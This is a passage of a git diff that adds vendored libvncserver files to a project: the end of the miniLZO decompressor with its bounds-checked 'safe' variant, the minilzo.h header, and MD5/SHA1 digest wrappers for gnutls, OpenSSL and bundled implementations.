UA_COPY4(op,ip); + op += 4; ip += 4; t -= 4; + } + if (t > 0) + { + *op++ = *ip++; + if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } } + } +#elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4) +#if !(LZO_OPT_UNALIGNED32) + if (PTR_ALIGNED2_4(op,ip)) + { +#endif + UA_COPY4(op,ip); + op += 4; ip += 4; + if (--t > 0) + { + if (t >= 4) + { + do { + UA_COPY4(op,ip); + op += 4; ip += 4; t -= 4; + } while (t >= 4); + if (t > 0) do *op++ = *ip++; while (--t > 0); + } + else + do *op++ = *ip++; while (--t > 0); + } +#if !(LZO_OPT_UNALIGNED32) + } + else +#endif +#endif +#if !(LZO_OPT_UNALIGNED32) + { + *op++ = *ip++; *op++ = *ip++; *op++ = *ip++; + do *op++ = *ip++; while (--t > 0); + } +#endif + +first_literal_run: + + t = *ip++; + if (t >= 16) + goto match; +#if defined(COPY_DICT) +#if defined(LZO1Z) + m_off = (1 + M2_MAX_OFFSET) + (t << 6) + (*ip++ >> 2); + last_m_off = m_off; +#else + m_off = (1 + M2_MAX_OFFSET) + (t >> 2) + (*ip++ << 2); +#endif + NEED_OP(3); + t = 3; COPY_DICT(t,m_off) +#else +#if defined(LZO1Z) + t = (1 + M2_MAX_OFFSET) + (t << 6) + (*ip++ >> 2); + m_pos = op - t; + last_m_off = t; +#else + m_pos = op - (1 + M2_MAX_OFFSET); + m_pos -= t >> 2; + m_pos -= *ip++ << 2; +#endif + TEST_LB(m_pos); NEED_OP(3); + *op++ = *m_pos++; *op++ = *m_pos++; *op++ = *m_pos; +#endif + goto match_done; + + for (;;) { +match: + if (t >= 64) + { +#if defined(COPY_DICT) +#if defined(LZO1X) + m_off = 1 + ((t >> 2) & 7) + (*ip++ << 3); + t = (t >> 5) - 1; +#elif defined(LZO1Y) + m_off = 1 + ((t >> 2) & 3) + (*ip++ << 2); + t = (t >> 4) - 3; +#elif defined(LZO1Z) + m_off = t & 0x1f; + if (m_off >= 0x1c) + m_off = last_m_off; + else + { + m_off = 1 + (m_off << 6) + (*ip++ >> 2); + last_m_off = m_off; + } + t = (t >> 5) - 1; +#endif +#else +#if defined(LZO1X) + m_pos = op - 1; + m_pos -= (t >> 2) & 7; + m_pos -= *ip++ << 3; + t = (t >> 5) - 1; +#elif defined(LZO1Y) + m_pos = op - 1; + m_pos -= (t >> 2) & 3; + m_pos -= *ip++ << 2; + t = (t >> 4) - 3; +#elif defined(LZO1Z) + { + lzo_uint off = t & 0x1f; + m_pos = op; + if (off >= 0x1c) + { + assert(last_m_off > 0); + m_pos -= last_m_off; + } + else + { + off = 1 + (off << 6) + (*ip++ >> 2); + m_pos -= off; + last_m_off = off; + } + } + t = (t >> 5) - 1; +#endif + TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1); + goto copy_match; +#endif + } + else if (t >= 32) + { + t &= 31; + if (t == 0) + { + while (*ip == 0) + { + t += 255; + ip++; + TEST_OV(t); + NEED_IP(1); + } + t += 31 + *ip++; + NEED_IP(2); + } +#if defined(COPY_DICT) +#if defined(LZO1Z) + m_off = 1 + (ip[0] << 6) + (ip[1] >> 2); + last_m_off = m_off; +#else + m_off = 1 + (ip[0] >> 2) + (ip[1] << 6); +#endif +#else +#if defined(LZO1Z) + { + lzo_uint off = 1 + (ip[0] << 6) + (ip[1] >> 2); + m_pos = op - off; + last_m_off = off; + } +#elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) + m_pos = op - 1; + m_pos -= UA_GET_LE16(ip) >> 2; +#else + m_pos = op - 1; + m_pos -= (ip[0] >> 2) + (ip[1] << 6); +#endif +#endif + ip += 2; + } + else if (t >= 16) + { +#if defined(COPY_DICT) + m_off = (t & 8) << 11; +#else + m_pos = op; + m_pos -= (t & 8) << 11; +#endif + t &= 7; + if (t == 0) + { + while (*ip == 0) + { + t += 255; + ip++; + TEST_OV(t); + NEED_IP(1); + } + t += 7 + *ip++; + NEED_IP(2); + } +#if defined(COPY_DICT) +#if defined(LZO1Z) + m_off += (ip[0] << 6) + (ip[1] >> 2); +#else + m_off += (ip[0] >> 2) + (ip[1] << 6); +#endif + ip += 2; + if (m_off == 0) + goto eof_found; + m_off += 0x4000; +#if defined(LZO1Z) + last_m_off = m_off; +#endif +#else +#if defined(LZO1Z) + m_pos -= (ip[0] << 6) + (ip[1] >> 2); +#elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) + m_pos -= UA_GET_LE16(ip) >> 2; +#else + m_pos -= (ip[0] >> 2) + (ip[1] << 6); +#endif + ip += 2; + if (m_pos == op) + goto eof_found; + m_pos -= 0x4000; +#if defined(LZO1Z) + last_m_off = pd((const lzo_bytep)op, m_pos); +#endif +#endif + } + else + { +#if defined(COPY_DICT) +#if defined(LZO1Z) + m_off = 1 + (t << 6) + (*ip++ >> 2); + last_m_off = m_off; +#else + m_off = 1 + (t >> 2) + (*ip++ << 2); +#endif + NEED_OP(2); + t = 2; COPY_DICT(t,m_off) +#else +#if defined(LZO1Z) + t = 1 + (t << 6) + (*ip++ >> 2); + m_pos = op - t; + last_m_off = t; +#else + m_pos = op - 1; + m_pos -= t >> 2; + m_pos -= *ip++ << 2; +#endif + TEST_LB(m_pos); NEED_OP(2); + *op++ = *m_pos++; *op++ = *m_pos; +#endif + goto match_done; + } + +#if defined(COPY_DICT) + + NEED_OP(t+3-1); + t += 3-1; COPY_DICT(t,m_off) + +#else + + TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1); +#if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32) + if (op - m_pos >= 8) + { + t += (3 - 1); + if (t >= 8) do + { + UA_COPY8(op,m_pos); + op += 8; m_pos += 8; t -= 8; + } while (t >= 8); + if (t >= 4) + { + UA_COPY4(op,m_pos); + op += 4; m_pos += 4; t -= 4; + } + if (t > 0) + { + *op++ = m_pos[0]; + if (t > 1) { *op++ = m_pos[1]; if (t > 2) { *op++ = m_pos[2]; } } + } + } + else +#elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4) +#if !(LZO_OPT_UNALIGNED32) + if (t >= 2 * 4 - (3 - 1) && PTR_ALIGNED2_4(op,m_pos)) + { + assert((op - m_pos) >= 4); +#else + if (t >= 2 * 4 - (3 - 1) && (op - m_pos) >= 4) + { +#endif + UA_COPY4(op,m_pos); + op += 4; m_pos += 4; t -= 4 - (3 - 1); + do { + UA_COPY4(op,m_pos); + op += 4; m_pos += 4; t -= 4; + } while (t >= 4); + if (t > 0) do *op++ = *m_pos++; while (--t > 0); + } + else +#endif + { +copy_match: + *op++ = *m_pos++; *op++ = *m_pos++; + do *op++ = *m_pos++; while (--t > 0); + } + +#endif + +match_done: +#if defined(LZO1Z) + t = ip[-1] & 3; +#else + t = ip[-2] & 3; +#endif + if (t == 0) + break; + +match_next: + assert(t > 0); assert(t < 4); NEED_OP(t); NEED_IP(t+3); +#if 0 + do *op++ = *ip++; while (--t > 0); +#else + *op++ = *ip++; + if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } } +#endif + t = *ip++; + } + } + +eof_found: + *out_len = pd(op, out); + return (ip == ip_end ? LZO_E_OK : + (ip < ip_end ? LZO_E_INPUT_NOT_CONSUMED : LZO_E_INPUT_OVERRUN)); + +#if defined(HAVE_NEED_IP) +input_overrun: + *out_len = pd(op, out); + return LZO_E_INPUT_OVERRUN; +#endif + +#if defined(HAVE_NEED_OP) +output_overrun: + *out_len = pd(op, out); + return LZO_E_OUTPUT_OVERRUN; +#endif + +#if defined(LZO_TEST_OVERRUN_LOOKBEHIND) +lookbehind_overrun: + *out_len = pd(op, out); + return LZO_E_LOOKBEHIND_OVERRUN; +#endif +} + +#endif + +#define LZO_TEST_OVERRUN 1 +#undef DO_DECOMPRESS +#define DO_DECOMPRESS lzo1x_decompress_safe + +#if !defined(MINILZO_CFG_SKIP_LZO1X_DECOMPRESS_SAFE) + +#if defined(LZO_TEST_OVERRUN) +# if !defined(LZO_TEST_OVERRUN_INPUT) +# define LZO_TEST_OVERRUN_INPUT 2 +# endif +# if !defined(LZO_TEST_OVERRUN_OUTPUT) +# define LZO_TEST_OVERRUN_OUTPUT 2 +# endif +# if !defined(LZO_TEST_OVERRUN_LOOKBEHIND) +# define LZO_TEST_OVERRUN_LOOKBEHIND 1 +# endif +#endif + +#undef TEST_IP +#undef TEST_OP +#undef TEST_IP_AND_TEST_OP +#undef TEST_LB +#undef TEST_LBO +#undef NEED_IP +#undef NEED_OP +#undef TEST_IV +#undef TEST_OV +#undef HAVE_TEST_IP +#undef HAVE_TEST_OP +#undef HAVE_NEED_IP +#undef HAVE_NEED_OP +#undef HAVE_ANY_IP +#undef HAVE_ANY_OP + +#if defined(LZO_TEST_OVERRUN_INPUT) +# if (LZO_TEST_OVERRUN_INPUT >= 1) +# define TEST_IP (ip < ip_end) +# endif +# if (LZO_TEST_OVERRUN_INPUT >= 2) +# define NEED_IP(x) \ + if ((lzo_uint)(ip_end - ip) < (lzo_uint)(x)) goto input_overrun +# define TEST_IV(x) if ((x) > (lzo_uint)0 - (511)) goto input_overrun +# endif +#endif + +#if defined(LZO_TEST_OVERRUN_OUTPUT) +# if (LZO_TEST_OVERRUN_OUTPUT >= 1) +# define TEST_OP (op <= op_end) +# endif +# if (LZO_TEST_OVERRUN_OUTPUT >= 2) +# undef TEST_OP +# define NEED_OP(x) \ + if ((lzo_uint)(op_end - op) < (lzo_uint)(x)) goto output_overrun +# define TEST_OV(x) if ((x) > (lzo_uint)0 - (511)) goto output_overrun +# endif +#endif + +#if defined(LZO_TEST_OVERRUN_LOOKBEHIND) +# define TEST_LB(m_pos) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op)) goto lookbehind_overrun +# define TEST_LBO(m_pos,o) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op-(o))) goto lookbehind_overrun +#else +# define TEST_LB(m_pos) ((void) 0) +# define TEST_LBO(m_pos,o) ((void) 0) +#endif + +#if !defined(LZO_EOF_CODE) && !defined(TEST_IP) +# define TEST_IP (ip < ip_end) +#endif + +#if defined(TEST_IP) +# define HAVE_TEST_IP 1 +#else +# define TEST_IP 1 +#endif +#if defined(TEST_OP) +# define HAVE_TEST_OP 1 +#else +# define TEST_OP 1 +#endif + +#if defined(HAVE_TEST_IP) && defined(HAVE_TEST_OP) +# define TEST_IP_AND_TEST_OP (TEST_IP && TEST_OP) +#elif defined(HAVE_TEST_IP) +# define TEST_IP_AND_TEST_OP TEST_IP +#elif defined(HAVE_TEST_OP) +# define TEST_IP_AND_TEST_OP TEST_OP +#else +# define TEST_IP_AND_TEST_OP 1 +#endif + +#if defined(NEED_IP) +# define HAVE_NEED_IP 1 +#else +# define NEED_IP(x) ((void) 0) +# define TEST_IV(x) ((void) 0) +#endif +#if defined(NEED_OP) +# define HAVE_NEED_OP 1 +#else +# define NEED_OP(x) ((void) 0) +# define TEST_OV(x) ((void) 0) +#endif + +#if defined(HAVE_TEST_IP) || defined(HAVE_NEED_IP) +# define HAVE_ANY_IP 1 +#endif +#if defined(HAVE_TEST_OP) || defined(HAVE_NEED_OP) +# define HAVE_ANY_OP 1 +#endif + +#if defined(DO_DECOMPRESS) +LZO_PUBLIC(int) +DO_DECOMPRESS ( const lzo_bytep in , lzo_uint in_len, + lzo_bytep out, lzo_uintp out_len, + lzo_voidp wrkmem ) +#endif +{ + lzo_bytep op; + const lzo_bytep ip; + lzo_uint t; +#if defined(COPY_DICT) + lzo_uint m_off; + const lzo_bytep dict_end; +#else + const lzo_bytep m_pos; +#endif + + const lzo_bytep const ip_end = in + in_len; +#if defined(HAVE_ANY_OP) + lzo_bytep const op_end = out + *out_len; +#endif +#if defined(LZO1Z) + lzo_uint last_m_off = 0; +#endif + + LZO_UNUSED(wrkmem); + +#if defined(COPY_DICT) + if (dict) + { + if (dict_len > M4_MAX_OFFSET) + { + dict += dict_len - M4_MAX_OFFSET; + dict_len = M4_MAX_OFFSET; + } + dict_end = dict + dict_len; + } + else + { + dict_len = 0; + dict_end = NULL; + } +#endif + + *out_len = 0; + + op = out; + ip = in; + + NEED_IP(1); + if (*ip > 17) + { + t = *ip++ - 17; + if (t < 4) + goto match_next; + assert(t > 0); NEED_OP(t); NEED_IP(t+3); + do *op++ = *ip++; while (--t > 0); + goto first_literal_run; + } + + for (;;) + { + NEED_IP(3); + t = *ip++; + if (t >= 16) + goto match; + if (t == 0) + { + while (*ip == 0) + { + t += 255; + ip++; + TEST_IV(t); + NEED_IP(1); + } + t += 15 + *ip++; + } + assert(t > 0); NEED_OP(t+3); NEED_IP(t+6); +#if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32) + t += 3; + if (t >= 8) do + { + UA_COPY8(op,ip); + op += 8; ip += 8; t -= 8; + } while (t >= 8); + if (t >= 4) + { + UA_COPY4(op,ip); + op += 4; ip += 4; t -= 4; + } + if (t > 0) + { + *op++ = *ip++; + if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } } + } +#elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4) +#if !(LZO_OPT_UNALIGNED32) + if (PTR_ALIGNED2_4(op,ip)) + { +#endif + UA_COPY4(op,ip); + op += 4; ip += 4; + if (--t > 0) + { + if (t >= 4) + { + do { + UA_COPY4(op,ip); + op += 4; ip += 4; t -= 4; + } while (t >= 4); + if (t > 0) do *op++ = *ip++; while (--t > 0); + } + else + do *op++ = *ip++; while (--t > 0); + } +#if !(LZO_OPT_UNALIGNED32) + } + else +#endif +#endif +#if !(LZO_OPT_UNALIGNED32) + { + *op++ = *ip++; *op++ = *ip++; *op++ = *ip++; + do *op++ = *ip++; while (--t > 0); + } +#endif + +first_literal_run: + + t = *ip++; + if (t >= 16) + goto match; +#if defined(COPY_DICT) +#if defined(LZO1Z) + m_off = (1 + M2_MAX_OFFSET) + (t << 6) + (*ip++ >> 2); + last_m_off = m_off; +#else + m_off = (1 + M2_MAX_OFFSET) + (t >> 2) + (*ip++ << 2); +#endif + NEED_OP(3); + t = 3; COPY_DICT(t,m_off) +#else +#if defined(LZO1Z) + t = (1 + M2_MAX_OFFSET) + (t << 6) + (*ip++ >> 2); + m_pos = op - t; + last_m_off = t; +#else + m_pos = op - (1 + M2_MAX_OFFSET); + m_pos -= t >> 2; + m_pos -= *ip++ << 2; +#endif + TEST_LB(m_pos); NEED_OP(3); + *op++ = *m_pos++; *op++ = *m_pos++; *op++ = *m_pos; +#endif + goto match_done; + + for (;;) { +match: + if (t >= 64) + { +#if defined(COPY_DICT) +#if defined(LZO1X) + m_off = 1 + ((t >> 2) & 7) + (*ip++ << 3); + t = (t >> 5) - 1; +#elif defined(LZO1Y) + m_off = 1 + ((t >> 2) & 3) + (*ip++ << 2); + t = (t >> 4) - 3; +#elif defined(LZO1Z) + m_off = t & 0x1f; + if (m_off >= 0x1c) + m_off = last_m_off; + else + { + m_off = 1 + (m_off << 6) + (*ip++ >> 2); + last_m_off = m_off; + } + t = (t >> 5) - 1; +#endif +#else +#if defined(LZO1X) + m_pos = op - 1; + m_pos -= (t >> 2) & 7; + m_pos -= *ip++ << 3; + t = (t >> 5) - 1; +#elif defined(LZO1Y) + m_pos = op - 1; + m_pos -= (t >> 2) & 3; + m_pos -= *ip++ << 2; + t = (t >> 4) - 3; +#elif defined(LZO1Z) + { + lzo_uint off = t & 0x1f; + m_pos = op; + if (off >= 0x1c) + { + assert(last_m_off > 0); + m_pos -= last_m_off; + } + else + { + off = 1 + (off << 6) + (*ip++ >> 2); + m_pos -= off; + last_m_off = off; + } + } + t = (t >> 5) - 1; +#endif + TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1); + goto copy_match; +#endif + } + else if (t >= 32) + { + t &= 31; + if (t == 0) + { + while (*ip == 0) + { + t += 255; + ip++; + TEST_OV(t); + NEED_IP(1); + } + t += 31 + *ip++; + NEED_IP(2); + } +#if defined(COPY_DICT) +#if defined(LZO1Z) + m_off = 1 + (ip[0] << 6) + (ip[1] >> 2); + last_m_off = m_off; +#else + m_off = 1 + (ip[0] >> 2) + (ip[1] << 6); +#endif +#else +#if defined(LZO1Z) + { + lzo_uint off = 1 + (ip[0] << 6) + (ip[1] >> 2); + m_pos = op - off; + last_m_off = off; + } +#elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) + m_pos = op - 1; + m_pos -= UA_GET_LE16(ip) >> 2; +#else + m_pos = op - 1; + m_pos -= (ip[0] >> 2) + (ip[1] << 6); +#endif +#endif + ip += 2; + } + else if (t >= 16) + { +#if defined(COPY_DICT) + m_off = (t & 8) << 11; +#else + m_pos = op; + m_pos -= (t & 8) << 11; +#endif + t &= 7; + if (t == 0) + { + while (*ip == 0) + { + t += 255; + ip++; + TEST_OV(t); + NEED_IP(1); + } + t += 7 + *ip++; + NEED_IP(2); + } +#if defined(COPY_DICT) +#if defined(LZO1Z) + m_off += (ip[0] << 6) + (ip[1] >> 2); +#else + m_off += (ip[0] >> 2) + (ip[1] << 6); +#endif + ip += 2; + if (m_off == 0) + goto eof_found; + m_off += 0x4000; +#if defined(LZO1Z) + last_m_off = m_off; +#endif +#else +#if defined(LZO1Z) + m_pos -= (ip[0] << 6) + (ip[1] >> 2); +#elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) + m_pos -= UA_GET_LE16(ip) >> 2; +#else + m_pos -= (ip[0] >> 2) + (ip[1] << 6); +#endif + ip += 2; + if (m_pos == op) + goto eof_found; + m_pos -= 0x4000; +#if defined(LZO1Z) + last_m_off = pd((const lzo_bytep)op, m_pos); +#endif +#endif + } + else + { +#if defined(COPY_DICT) +#if defined(LZO1Z) + m_off = 1 + (t << 6) + (*ip++ >> 2); + last_m_off = m_off; +#else + m_off = 1 + (t >> 2) + (*ip++ << 2); +#endif + NEED_OP(2); + t = 2; COPY_DICT(t,m_off) +#else +#if defined(LZO1Z) + t = 1 + (t << 6) + (*ip++ >> 2); + m_pos = op - t; + last_m_off = t; +#else + m_pos = op - 1; + m_pos -= t >> 2; + m_pos -= *ip++ << 2; +#endif + TEST_LB(m_pos); NEED_OP(2); + *op++ = *m_pos++; *op++ = *m_pos; +#endif + goto match_done; + } + +#if defined(COPY_DICT) + + NEED_OP(t+3-1); + t += 3-1; COPY_DICT(t,m_off) + +#else + + TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1); +#if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32) + if (op - m_pos >= 8) + { + t += (3 - 1); + if (t >= 8) do + { + UA_COPY8(op,m_pos); + op += 8; m_pos += 8; t -= 8; + } while (t >= 8); + if (t >= 4) + { + UA_COPY4(op,m_pos); + op += 4; m_pos += 4; t -= 4; + } + if (t > 0) + { + *op++ = m_pos[0]; + if (t > 1) { *op++ = m_pos[1]; if (t > 2) { *op++ = m_pos[2]; } } + } + } + else +#elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4) +#if !(LZO_OPT_UNALIGNED32) + if (t >= 2 * 4 - (3 - 1) && PTR_ALIGNED2_4(op,m_pos)) + { + assert((op - m_pos) >= 4); +#else + if (t >= 2 * 4 - (3 - 1) && (op - m_pos) >= 4) + { +#endif + UA_COPY4(op,m_pos); + op += 4; m_pos += 4; t -= 4 - (3 - 1); + do { + UA_COPY4(op,m_pos); + op += 4; m_pos += 4; t -= 4; + } while (t >= 4); + if (t > 0) do *op++ = *m_pos++; while (--t > 0); + } + else +#endif + { +copy_match: + *op++ = *m_pos++; *op++ = *m_pos++; + do *op++ = *m_pos++; while (--t > 0); + } + +#endif + +match_done: +#if defined(LZO1Z) + t = ip[-1] & 3; +#else + t = ip[-2] & 3; +#endif + if (t == 0) + break; + +match_next: + assert(t > 0); assert(t < 4); NEED_OP(t); NEED_IP(t+3); +#if 0 + do *op++ = *ip++; while (--t > 0); +#else + *op++ = *ip++; + if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } } +#endif + t = *ip++; + } + } + +eof_found: + *out_len = pd(op, out); + return (ip == ip_end ? LZO_E_OK : + (ip < ip_end ? LZO_E_INPUT_NOT_CONSUMED : LZO_E_INPUT_OVERRUN)); + +#if defined(HAVE_NEED_IP) +input_overrun: + *out_len = pd(op, out); + return LZO_E_INPUT_OVERRUN; +#endif + +#if defined(HAVE_NEED_OP) +output_overrun: + *out_len = pd(op, out); + return LZO_E_OUTPUT_OVERRUN; +#endif + +#if defined(LZO_TEST_OVERRUN_LOOKBEHIND) +lookbehind_overrun: + *out_len = pd(op, out); + return LZO_E_LOOKBEHIND_OVERRUN; +#endif +} + +#endif + +/***** End of minilzo.c *****/ diff --git a/3rdparty/libvncserver/common/minilzo.h b/3rdparty/libvncserver/common/minilzo.h new file mode 100644 index 0000000..fd2fb32 --- /dev/null +++ b/3rdparty/libvncserver/common/minilzo.h @@ -0,0 +1,94 @@ +/* minilzo.h -- mini subset of the LZO real-time data compression library + + This file is part of the LZO real-time data compression library. + + Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer + All Rights Reserved. + + The LZO library is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License as + published by the Free Software Foundation; either version 2 of + the License, or (at your option) any later version. + + The LZO library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with the LZO library; see the file COPYING. + If not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + + Markus F.X.J. Oberhumer + + http://www.oberhumer.com/opensource/lzo/ + */ + +/* + * NOTE: + * the full LZO package can be found at + * http://www.oberhumer.com/opensource/lzo/ + */ + + +#ifndef __MINILZO_H +#define __MINILZO_H 1 + +#define MINILZO_VERSION 0x2070 + +#ifdef __LZOCONF_H +# error "you cannot use both LZO and miniLZO" +#endif + +#undef LZO_HAVE_CONFIG_H +#include "lzoconf.h" + +#if !defined(LZO_VERSION) || (LZO_VERSION != MINILZO_VERSION) +# error "version mismatch in header files" +#endif + + +#ifdef __cplusplus +extern "C" { +#endif + + +/*********************************************************************** +// +************************************************************************/ + +/* Memory required for the wrkmem parameter. + * When the required size is 0, you can also pass a NULL pointer. + */ + +#define LZO1X_MEM_COMPRESS LZO1X_1_MEM_COMPRESS +#define LZO1X_1_MEM_COMPRESS ((lzo_uint32_t) (16384L * lzo_sizeof_dict_t)) +#define LZO1X_MEM_DECOMPRESS (0) + + +/* compression */ +LZO_EXTERN(int) +lzo1x_1_compress ( const lzo_bytep src, lzo_uint src_len, + lzo_bytep dst, lzo_uintp dst_len, + lzo_voidp wrkmem ); + +/* decompression */ +LZO_EXTERN(int) +lzo1x_decompress ( const lzo_bytep src, lzo_uint src_len, + lzo_bytep dst, lzo_uintp dst_len, + lzo_voidp wrkmem /* NOT USED */ ); + +/* safe decompression with overrun testing */ +LZO_EXTERN(int) +lzo1x_decompress_safe ( const lzo_bytep src, lzo_uint src_len, + lzo_bytep dst, lzo_uintp dst_len, + lzo_voidp wrkmem /* NOT USED */ ); + + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif /* already included */ + diff --git a/3rdparty/libvncserver/common/rfbcrypto.h b/3rdparty/libvncserver/common/rfbcrypto.h new file mode 100644 index 0000000..fec095e --- /dev/null +++ b/3rdparty/libvncserver/common/rfbcrypto.h @@ -0,0 +1,16 @@ +#ifndef _RFB_CRYPTO_H +#define _RFB_CRYPTO_H 1 + +#include "rfb/rfbconfig.h" + +#define SHA1_HASH_SIZE 20 +#define MD5_HASH_SIZE 16 + +#ifdef LIBVNCSERVER_HAVE_SYS_UIO_H +#include + +void digestmd5(const struct iovec *iov, int iovcnt, void *dest); +void digestsha1(const struct iovec *iov, int iovcnt, void *dest); +#endif + +#endif diff --git a/3rdparty/libvncserver/common/rfbcrypto_gnutls.c b/3rdparty/libvncserver/common/rfbcrypto_gnutls.c new file mode 100644 index 0000000..2ecb2da --- /dev/null +++ b/3rdparty/libvncserver/common/rfbcrypto_gnutls.c @@ -0,0 +1,50 @@ +/* + * rfbcrypto_gnutls.c - Crypto wrapper (gnutls version) + */ + +/* + * Copyright (C) 2011 Gernot Tenchio + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include +#include +#include "rfbcrypto.h" + +void digestmd5(const struct iovec *iov, int iovcnt, void *dest) +{ + gcry_md_hd_t c; + int i; + + gcry_md_open(&c, GCRY_MD_MD5, 0); + for (i = 0; i < iovcnt; i++) + gcry_md_write(c, iov[i].iov_base, iov[i].iov_len); + gcry_md_final(c); + memcpy(dest, gcry_md_read(c, 0), gcry_md_get_algo_dlen(GCRY_MD_MD5)); +} + +void digestsha1(const struct iovec *iov, int iovcnt, void *dest) +{ + gcry_md_hd_t c; + int i; + + gcry_md_open(&c, GCRY_MD_SHA1, 0); + for (i = 0; i < iovcnt; i++) + gcry_md_write(c, iov[i].iov_base, iov[i].iov_len); + gcry_md_final(c); + memcpy(dest, gcry_md_read(c, 0), gcry_md_get_algo_dlen(GCRY_MD_SHA1)); +} diff --git a/3rdparty/libvncserver/common/rfbcrypto_included.c b/3rdparty/libvncserver/common/rfbcrypto_included.c new file mode 100644 index 0000000..7feff61 --- /dev/null +++ b/3rdparty/libvncserver/common/rfbcrypto_included.c @@ -0,0 +1,49 @@ +/* + * rfbcrypto_included.c - Crypto wrapper (included version) + */ + +/* + * Copyright (C) 2011 Gernot Tenchio + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include +#include "md5.h" +#include "sha.h" +#include "rfbcrypto.h" + +void digestmd5(const struct iovec *iov, int iovcnt, void *dest) +{ + struct md5_ctx c; + int i; + + __md5_init_ctx(&c); + for (i = 0; i < iovcnt; i++) + __md5_process_bytes(iov[i].iov_base, iov[i].iov_len, &c); + __md5_finish_ctx(&c, dest); +} + +void digestsha1(const struct iovec *iov, int iovcnt, void *dest) +{ + SHA1Context c; + int i; + + SHA1Reset(&c); + for (i = 0; i < iovcnt; i++) + SHA1Input(&c, iov[i].iov_base, iov[i].iov_len); + SHA1Result(&c, dest); +} diff --git a/3rdparty/libvncserver/common/rfbcrypto_openssl.c b/3rdparty/libvncserver/common/rfbcrypto_openssl.c new file mode 100644 index 0000000..29ec5c1 --- /dev/null +++ b/3rdparty/libvncserver/common/rfbcrypto_openssl.c @@ -0,0 +1,49 @@ +/* + * rfbcrypto_openssl.c - Crypto wrapper (openssl version) + */ + +/* + * Copyright (C) 2011 Gernot Tenchio + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include +#include +#include +#include "rfbcrypto.h" + +void digestmd5(const struct iovec *iov, int iovcnt, void *dest) +{ + MD5_CTX c; + int i; + + MD5_Init(&c); + for (i = 0; i < iovcnt; i++) + MD5_Update(&c, iov[i].iov_base, iov[i].iov_len); + MD5_Final(dest, &c); +} + +void digestsha1(const struct iovec *iov, int iovcnt, void *dest) +{ + SHA_CTX c; + int i; + + SHA1_Init(&c); + for (i = 0; i < iovcnt; i++) + SHA1_Update(&c, iov[i].iov_base, iov[i].iov_len); + SHA1_Final(dest, &c); +} diff --git a/3rdparty/libvncserver/common/sha-private.h b/3rdparty/libvncserver/common/sha-private.h new file mode 100644 index 0000000..9ccc8dd --- /dev/null +++ b/3rdparty/libvncserver/common/sha-private.h @@ -0,0 +1,29 @@ +/************************ sha-private.h ************************/ +/***************** See RFC 6234 for details. *******************/ +#ifndef _SHA_PRIVATE__H +#define _SHA_PRIVATE__H +/* + * These definitions are defined in FIPS 180-3, section 4.1. + * Ch() and Maj() are defined identically in sections 4.1.1, + * 4.1.2, and 4.1.3. + * + * The definitions used in FIPS 180-3 are as follows: + */ + +#ifndef USE_MODIFIED_MACROS +#define SHA_Ch(x,y,z) (((x) & (y)) ^ ((~(x)) & (z))) +#define SHA_Maj(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z))) +#else /* USE_MODIFIED_MACROS */ +/* + * The following definitions are equivalent and potentially faster. + */ + +#define SHA_Ch(x, y, z) (((x) & ((y) ^ (z))) ^ (z)) +#define SHA_Maj(x, y, z) (((x) & ((y) | (z))) | ((y) & (z))) + +#endif /* USE_MODIFIED_MACROS */ + +#define SHA_Parity(x, 